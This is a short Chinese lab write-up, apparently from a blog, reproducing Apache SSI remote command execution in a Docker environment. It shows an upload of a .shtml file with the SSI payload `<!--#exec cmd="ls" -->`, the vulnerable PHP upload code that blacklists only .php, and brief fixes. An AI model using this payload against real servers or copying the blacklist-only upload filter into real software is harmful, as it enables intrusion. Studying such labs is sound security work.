Apache SSI 远程命令执行漏洞 复现
2020-03-31 18:45
1186 查看
0x00 前言
利用条件
目标服务器开启了SSI与CGI支持
SSI
对html页面进行解析
https://www.geek-share.com/detail/2671678940.html
CGI
开启后可执行外带命令
https://blog.csdn.net/y_yang666/article/details/84790434
0x01 复现
1.环境
这里环境也是直接使用
docker-compose up -d
2.过程演示
首先访问
http://192.168.25.242:8080/upload.php
是一个上传的表单
直接上传会出现如下错误:
这里上传带有x.shtml
ps:shtml和html的区别
shtml可以理解为就是让ssi进行识别的html
<!--#exec cmd="ls" -->
成功执行命令
3.剖析
上docker容器上看一下源码
<?php if (!empty($_FILES)): $ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION); if (in_array($ext, ['php'])) { die('Unsupported filetype uploaded.'); } move_uploaded_file($_FILES['file_upload']['tmp_name'], './' . $_FILES['file_upload']['name']); echo "<a href='/{$_FILES['file_upload']['name']}'>{$_FILES['file_upload']['name']}</a>"; endif; ?> <form method="post" enctype="multipart/form-data"> File: <input type="file" name="file_upload"> <input type="submit"> </form>
这里实际上就是做了一个黑名单的防护。
0x02 修复
- 关闭ssl
- 对shtml进行黑名单限制
- 点赞
- 收藏
- 分享
- 文章举报
相关文章推荐
- Apache SSI 远程命令执行漏洞复现
- Apache SSI 远程命令执行漏洞
- Apache struts2远程命令执行_CVE-2017-9805(S2-052)漏洞复现
- Apache struts2远程命令执行_CVE-2017-9805(S2-052)漏洞复现
- Apache struts2 Freemarker标签远程命令执行_CVE-2017-12611(S2-053)漏洞复现
- 网站安全加固之apache环境S2-057漏洞 利用POC 远程执行命令漏洞复现
- Apache struts2 namespace远程命令执行_CVE-2018-11776(S2-057)漏洞复现
- Apache struts2 namespace远程命令执行_CVE-2018-11776(S2-057)漏洞复现
- Apache Struts远程命令执行漏洞、开放式式重定向漏洞
- vulhub靶场练习——Apache换行解析、多后缀解析、以及ssl远程命令执行漏洞分析
- Apache Struts2 includeParams属性远程命令执行漏洞(CVE-2013-1966)
- 9.漏洞验证系列--Apache Struts2 远程命令执行(S2-045)
- Apache Flink 任意 Jar 包上传导致远程代码执行漏洞复现问题(漏洞预警)
- CVE-2017-8464远程命令执行漏洞(震网漏洞)复现
- tomcat 远程命令执行漏洞复现
- 复现IIS6.0远程命令执行漏洞
- ThinkPHP 5.x远程命令执行漏洞复现
- ThinkPHP 5.x远程命令执行漏洞复现
- shellshock破壳远程命令执行漏洞复现通过web的方式进行web执行远程代码
- CVE-2017-8464远程命令执行漏洞复现